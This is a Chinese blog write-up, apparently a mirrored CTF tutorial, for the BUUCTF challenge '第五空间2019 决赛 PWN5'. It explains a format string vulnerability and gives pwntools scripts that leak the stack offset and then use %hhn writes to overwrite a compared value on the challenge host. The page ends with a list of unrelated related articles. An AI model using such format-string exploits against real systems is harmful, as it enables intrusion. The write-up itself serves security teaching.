[第五空间2019 决赛]PWN5

2024-06-23 09:20
文章标签 2019 pwn5 决赛 第五 空间

本文主要是介绍[第五空间2019 决赛]PWN5,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

参考文章:

格式化字符串漏洞原理及其利用(附带pwn例题讲解)_格式化字符串攻击教程-CSDN博客

格式化字符串漏洞原理详解_静态编译 格式化'字符串漏洞-CSDN博客

BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客园 (cnblogs.com)

栈溢出保护(cannary)

数据溢出保护(NX)

运行一下看看

输入对比

看源代码

首先第一步

发现后门

第二步找漏洞

这道题的漏洞是格式化字符串漏洞,详细的可以去看我开头引用的两个博客

我们的思路就是,找到我们数据输入的地方,然后把对比的数据的地址拿到,用我们输入的去给需要对比的数据赋值

我们先来找到我们数据的偏移量

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = b'aaaaaaa\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

大家可以自己数一数,第十个就是我们输入的aaaa

接下来我们来看一下我们对比的数据的地址

可以看见

一共有四个数据段,一个数据段是一个字节

所以我们下面的代码要用 hhn(一个字节表示)

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

因为这个数据段,四个字节,我们每个字节都写入,一个0x803c047,4个字节 ,那么四个地址,16=0x10

然后我一直有几个点没动

看了好久这个exp,终于搞懂了

 三个点:

第一个这个后面的%11 12什么的,顺序随便,因为输入的数一样的,都是0x10

第二个,为什么是0x10101010,因为我们输入的数据要对比也是dword,我们传入0x10,在地址上也就是四个连续的0x10,这样就和

这个数据段对上了

第三个:为什么地址在前面-----这是无符号参数print的写法

地址在前面

最后这个exp就ok了

这篇关于[第五空间2019 决赛]PWN5的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1086756

相关文章

陀螺仪LSM6DSV16X与AI集成(8)----MotionFX库解析空间坐标

陀螺仪LSM6DSV16X与AI集成.8--MotionFX库解析空间坐标 概述视频教学样品申请源码下载开启CRC串口设置开启X-CUBE-MEMS1设置加速度和角速度量程速率选择设置FIFO速率设置FIFO时间戳批处理速率配置过滤链初始化定义MotionFX文件卡尔曼滤波算法主程序执行流程lsm6dsv16x_motion_fx_determin欧拉角简介演示 概述 本文将探讨

java NIO 缓存区之内核空间、用户空间和虚拟地址

IO是基于缓存区来做的,所谓的输入和输出就是从缓存区中移入和移出数据。以IO输入为例,首先是用户空间进程向内核请求某个磁盘空间数据,然后内核将磁盘数据读取到内核空间的buffer中,然后用户空间的进程再将内核空间buffer中的数据读取到自身的buffer中,然后进程就可以访问使用这些数据。     内核空间是指操作系统内核运行的空间,是为了保证操作系统内核的能够安全稳定地运行而为内核专

内存填充越界 + malloc空间不够导致越界

【创建时间:2014-11-1 11:50】 [2014-10-31]:环境:系统:Linux版本:3.08    平台:Hisi3516c。 内存填充越界: 问题: 申请了一个2048字节局部静态的变量存储一个固定RGB值,方便后续画框、线时快速copy。但是在第一次赋固定值时,越界了,导致内核自动向应用程序 发送信号 SIGBUS(7)给应用程序,导致应用程序异常

新建帐套提示“无法创建数据库!请检查目录…是否存在,以及系统空间是否充足.

1、在K/3安装路径下K3ERP文件夹下,找到DBFILE文件夹;2、右击单击“DBFILE”文件夹,选择“属性”→【安全】→【添加】,选择【高级】→【立即查找】→找到everyone用户;3、把该用户添加到【用户和组】中,并赋予“完全控制权限”。

基于CDMA的多用户水下无线光通信(2)——系统模型和基于子空间的延时估计

本文首先介绍了基于CDMA的多用户UOWC系统模型,并给出了多用户收发信号的数学模型。然后介绍基于子空间的延时估计算法,该算法只需要已知所有用户的扩频码,然后根据扩频波形的循环移位在观测空间的信号子空间上的投影进行延时估计。 1、基于CDMA的多用户UOWC系统模型   首先介绍基于CDMA的多用户UOWC系统模型,系统框图如下图所示。   该系统包括发送端、UOWC信道和接收端。该系统

DataStructure.时间和空间复杂度

时间和空间复杂度 【本节目标】1. 如何衡量一个算法的好坏2. 算法效率3. 时间复杂度3.1 时间复杂度的概念3.2 大O的渐进表示法3.3 推导大O阶方法3.4 常见时间复杂度计算举例3.4.1 示例13.4.2 示例23.4.3 示例33.4.4 示例43.4.5 示例53.4.6 示例63.4.7 示例7 4.空间复杂度4.1 示例14.2 示例24.3 示例3 【本节

biostar handbook: 第五周笔记汇总+第六周任务布置

简单总结下第五周的笔记: biostarhandbook(五)|序列从何而来和质量控制YXF-测序仪和质量控制Biostar学习笔记(5)测序平台、测序原理及质量控制Biostar第六课 测序仪和QC 顺便发布第六周的任务: 第六周的任务是第十章和第十一章。其中第十一章介绍的是序列模式,是对正则表达式的温故知新。第十一章则是开始序列分析的重要一步:序列联配。任务如下: 什么是正则表达式什么

biostar handbook: 第四周笔记汇总+第五周任务布置

不知不觉已经过去了四周,这个系列的开篇语写于2017年10月14日,距离今天差不多是一个月的时间了。这个月的时间学的内容并不算多,大致也就是如下几个内容: *nux基础: 这个尤为重要,学会了*nix(Linux或unix)之后,如果能够在日常科研生活中进行使用,那么你的效率将会大大提高。数据格式: 数据的保存具有一定的格式,处理数据的前提在于知己知彼,这样才能选择合适的工具。这个部分内容包括知

列表框空间JList的用法演示

package 列表框控件演示;import java.awt.Color;import java.awt.GridLayout;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.awt.event.WindowAdapter;import java.awt.eve

java中一个对象 在内存中、数据库中、序列化后 占用的空间是一样的么

答:不一样。protobuf序列化=数据库<≈内存<json序列化 解释: protobuf序列化、数据库:都是使用了最紧凑的形式用二进制来存储对象。内存:也是使用了最紧凑的形式用二进制来存储对象,但是多了对象头的结构。json序列化:将对象转成了文本(字符串);并且为了表意清楚,每个属性都带上了属性名。 所以,现在有个趋势,注重传输效率的场景,正在用protobuf序列化代替json序列化